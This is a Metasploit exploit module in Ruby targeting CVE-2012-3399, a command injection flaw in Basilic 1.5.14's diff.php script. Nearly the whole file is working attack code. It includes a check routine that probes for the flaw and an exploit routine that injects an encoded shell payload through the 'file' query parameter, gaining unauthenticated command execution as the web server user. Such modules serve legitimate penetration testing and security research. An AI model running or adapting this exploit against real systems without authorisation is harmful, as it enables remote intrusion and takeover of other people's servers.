##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
      'Description'    => %q{
          This module abuses a metacharacter injection vulnerability in the
        diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
        commands as the www-data user account.
      },
      'Author'         =>
        [
          'lcashdollar',
          'sinn3r',
          'juan vazquez'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-3399' ],
          [ 'OSVDB', '83719' ],
          [ 'BID', '54234' ]
        ],
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby python telnet'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-06-28'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
      ])
  end


  def check
    base = normalize_uri(target_uri.path)

    sig = rand_text_alpha(10)

    res = send_request_cgi({
      'uri'  => normalize_uri("/#{base}/Config/diff.php"),
      'vars_get' => {
        'file' => sig,
        'new'  => '1',
        'old'  => '2'
      }
    })

    if res and res.code == 200 and res.body =~ /#{sig}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end


  def exploit
    print_status("Sending GET request...")

    base = normalize_uri(target_uri.path)

    res = send_request_cgi({
        'uri' => normalize_uri("/#{base}/Config/diff.php"),
        'vars_get' => {
          'file' => "&#{payload.encoded} #",
          'new'  => '1',
          'old'  => '2'
        }
      })

    if res and res.code == 404 then
      print_error("404 Basilic not installed or possibly check URI Path.")
    else
      vprint_line("Server returned #{res.code}")
    end

    handler
  end
end
